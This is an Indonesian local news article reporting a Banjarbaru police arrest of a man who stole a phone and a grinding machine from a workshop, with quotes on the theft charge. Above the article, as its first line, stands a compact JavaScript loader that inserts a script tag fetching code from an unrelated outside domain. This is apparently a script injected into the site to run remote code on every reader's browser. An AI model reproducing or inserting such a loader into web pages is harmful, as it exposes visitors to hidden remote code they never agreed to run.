(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Seorang pemuda asal Kota Banjarmasin diringkus personel Polres Banjarbaru mencuri handphone dan gerinda di salah satu bengkel di Kota Banjarbaru.
MA (39) warga Kelurahan Pekauman Kecamatan Banjarmasin Selatan Kota Banjarmasin yang kerap mencari barang bekas untuk dikumpulkan.
Pencurian itu pun terjadi di sebuah bengkel di Kelurahan Guntung Paikat Kecamatan Banjarbaru Selatan Kota Banjarbaru.
Kapolres Banjarbaru AKBP Dody Harza Kusumah, melalui Kasi Humas AKP Syahruji mengatakan, MA ditangkap di rumahnya di Pekauman Banjarmasin.
Baca juga: DPRD Sidoarjo Pelajari Implementasi Smart City ke Diskominfo Banjarbaru
“Penangkapan MA berawal dari laporan korban, seorang pengusaha di Kelurahan Guntung Paikat bahwa handphone dan mesin gerinda hilang pada akhir tahun lalu,” ujar AKP Syahruji, Kamis (25/1/2024).
Berdasarkan laporan tersebut, polisi melakukan penyelidikan dan berhasil meringkus MA di Banjarmasin.
“Dari hasil interogasi, pelaku mengakui bahwa ia telah melakukan pencurian tersebut seorang diri,” ungkap dia.
Saat diintrograsi MA menjelaskan jika awalnya sedang mencari barang bekas untuk dikumpulkan. Tapi tergiur dua barang berharga lain.
Baca juga: Sekda HSU Apresiasi Program Baznas, Beasiswa hingga Bantuan Modal Usaha
Saat itu MA mencoba mendekati rumah korban, yang mana di sebelah rumah itu ada sebuah bengkel kecil atau workshop yang bertutupkan terpal.
Selanjutnya ia masuki dengan niat hanya mengambil tumpukan besi bekas di workshop tersebut.
Namun, niatnya seketika teralihkan karena melihat satu unit handphone dan mesin gerinda. Alhasil MA mengambil kedua barang tersebut lalu pergi.
Dia mengakui bahwa kedua barang curiannya itu kemudian dijual dan uangnya digunakan untuk keperluan sehari-hari.
Baca juga: Kabupaten Banjar Raih Penghargaan Peduli HAM untuk Kali Kesepuluh
“Selain pelaku, juga mengamankan tiga barang bukti lain yang berkaitan dengan kasus pencurian ini, termasuk handphone yang dicuri,” tuntasnya.
Terpisah, Kasat Reskrim Polres Banjarbaru, Iptu Zuhri Muhammad menuturkan, MA telah diamankan dengan ancaman hukuman maksimal 5 tahun penjara.
“Pelaku dijerat dengan Pasal 362 KUHP tentang pencurian, dengan ancaman hukuman maksimal lima tahun penjara,” tegasnya menambahkan.
Kasat Reskrim pun mengimbau agar warga bisa terus waspada terhadap semua pergerakan orang-orang yang mencurigakan. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Jemaah haji Kloter pertama diberangkatkan dari Asrama Haji Embarkasi Banjarmasin di Banjarbaru,… Read More
KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More
This website uses cookies.